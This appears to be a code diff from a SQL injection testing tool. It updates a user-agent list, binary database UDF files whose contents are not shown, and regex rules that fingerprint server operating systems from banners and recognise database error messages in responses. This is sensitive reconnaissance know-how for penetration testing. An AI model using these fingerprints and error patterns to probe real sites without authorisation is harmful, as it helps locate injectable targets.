Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
|
||||||
|
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.55
|
||||||
|
Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
|
||||||
|
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320
|
||||||
|
Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
|
||||||
|
Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||||
|
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
Normal file
BIN
data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -34,7 +34,7 @@
|
|||||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||||
|
|
||||||
<regexp value="Windows.*\b10\.0">
|
<regexp value="Windows.*\b10\.0">
|
||||||
<info type="Windows" distrib="2016|10"/>
|
<info type="Windows" distrib="2019|2016|10"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Windows.*\b6\.3">
|
<regexp value="Windows.*\b6\.3">
|
||||||
@@ -151,7 +151,7 @@
|
|||||||
<info type="Linux" distrib="Ubuntu"/>
|
<info type="Linux" distrib="Ubuntu"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Unices -->
|
<!-- BSD -->
|
||||||
|
|
||||||
<regexp value="FreeBSD">
|
<regexp value="FreeBSD">
|
||||||
<info type="FreeBSD"/>
|
<info type="FreeBSD"/>
|
||||||
|
|||||||
@@ -64,6 +64,10 @@
|
|||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
<!-- Microsoft IIS -->
|
<!-- Microsoft IIS -->
|
||||||
|
|
||||||
<regexp value="Microsoft-IIS/(10\.0)">
|
<regexp value="Microsoft-IIS/(10\.0)">
|
||||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
|
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2019|2016|10"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Microsoft-IIS/(8\.5)">
|
<regexp value="Microsoft-IIS/(8\.5)">
|
||||||
@@ -74,23 +74,27 @@
|
|||||||
<!-- Apache: CentOS -->
|
<!-- Apache: CentOS -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="3.9"/>
|
<info type="Linux" distrib="CentOS" release="3"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="4.9"/>
|
<info type="Linux" distrib="CentOS" release="4"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.3 \(CentOS\)">
|
<regexp value="Apache/2\.2\.3 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="5.10"/>
|
<info type="Linux" distrib="CentOS" release="5"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.15 \(CentOS\)">
|
<regexp value="Apache/2\.2\.15 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="6.8"/>
|
<info type="Linux" distrib="CentOS" release="6"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.6 \(CentOS\)">
|
<regexp value="Apache/2\.4\.6 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="7-1708"/>
|
<info type="Linux" distrib="CentOS" release="7"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.37 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="8"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Debian -->
|
<!-- Apache: Debian -->
|
||||||
@@ -131,36 +135,32 @@
|
|||||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
|
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
|
||||||
</regexp>
|
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
<info type="Linux" distrib="Debian" release="4" codename="etch"/>
|
||||||
</regexp>
|
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.6 \(Debian\)">
|
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
|
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.9 \(Debian\)">
|
<regexp value="Apache/2\.2\.9 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
|
<info type="Linux" distrib="Debian" release="5" codename="lenny"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.16 \(Debian\)">
|
<regexp value="Apache/2\.2\.16 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
|
<info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.22 \(Debian\)">
|
<regexp value="Apache/2\.2\.22 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
|
<info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.10 \(Debian\)">
|
<regexp value="Apache/2\.4\.10 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
|
<info type="Linux" distrib="Debian" release="8" codename="jessie"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.25 \(Debian\)">
|
<regexp value="Apache/2\.4\.25 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
|
<info type="Linux" distrib="Debian" release="9" codename="stretch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.38 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Fedora -->
|
<!-- Apache: Fedora -->
|
||||||
@@ -293,6 +293,31 @@
|
|||||||
<info type="Linux" distrib="Fedora" release="27"/>
|
<info type="Linux" distrib="Fedora" release="27"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.33 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="28"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.34 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="29"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.39 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="30"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.41 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="31"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.43 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="32"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.46 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="33"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: FreeBSD -->
|
<!-- Apache: FreeBSD -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
|
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
|
||||||
@@ -407,6 +432,14 @@
|
|||||||
<info type="FreeBSD" release="11.1"/>
|
<info type="FreeBSD" release="11.1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
|
||||||
|
<info type="FreeBSD" release="11.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
|
||||||
|
<info type="FreeBSD" release="12.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Mandrake / Mandriva -->
|
<!-- Apache: Mandrake / Mandriva -->
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
||||||
@@ -587,6 +620,10 @@
|
|||||||
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
|
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: SuSE -->
|
<!-- Apache: SuSE -->
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
||||||
@@ -714,6 +751,14 @@
|
|||||||
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
|
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="15"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="15.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Ubuntu -->
|
<!-- Apache: Ubuntu -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
||||||
@@ -800,6 +845,22 @@
|
|||||||
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
|
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="19.10|20.04" codename="eoan|focal"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Nginx -->
|
<!-- Nginx -->
|
||||||
|
|
||||||
<regexp value="nginx$">
|
<regexp value="nginx$">
|
||||||
|
|||||||
@@ -19,6 +19,22 @@
|
|||||||
<info technology="EasyEngine" tech_version="1"/>
|
<info technology="EasyEngine" tech_version="1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Phusion Passenger ([\d\.]+)">
|
||||||
|
<info technology="Phusion Passenger" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Craft CMS">
|
||||||
|
<info technology="Craft CMS"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Express">
|
||||||
|
<info technology="Express"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="WP Engine">
|
||||||
|
<info technology="WP Engine"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="PleskLin">
|
<regexp value="PleskLin">
|
||||||
<info technology="Plesk" type="Linux"/>
|
<info technology="Plesk" type="Linux"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|||||||
@@ -42,7 +42,7 @@
|
|||||||
<error regexp="\bSQL Server[^<"]+Driver"/>
|
<error regexp="\bSQL Server[^<"]+Driver"/>
|
||||||
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
|
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
|
||||||
<error regexp="\bSQL Server[^<"]+[0-9a-fA-F]{8}"/>
|
<error regexp="\bSQL Server[^<"]+[0-9a-fA-F]{8}"/>
|
||||||
<error regexp="System\.Data\.SqlClient\.SqlException"/>
|
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
|
||||||
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
|
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
|
||||||
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
|
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
|
||||||
<error regexp="\[SQL Server\]"/>
|
<error regexp="\[SQL Server\]"/>
|
||||||
@@ -55,6 +55,7 @@
|
|||||||
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
|
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
|
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
|
||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
|
<error regexp="Unclosed quotation mark after the character string"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
@@ -83,7 +84,7 @@
|
|||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
<error regexp="\bdb2_\w+\("/>
|
<error regexp="\bdb2_\w+\("/>
|
||||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
@@ -217,4 +218,17 @@
|
|||||||
<error regexp="encountered after end of query"/>
|
<error regexp="encountered after end of query"/>
|
||||||
<error regexp="A comparison operator is required here"/>
|
<error regexp="A comparison operator is required here"/>
|
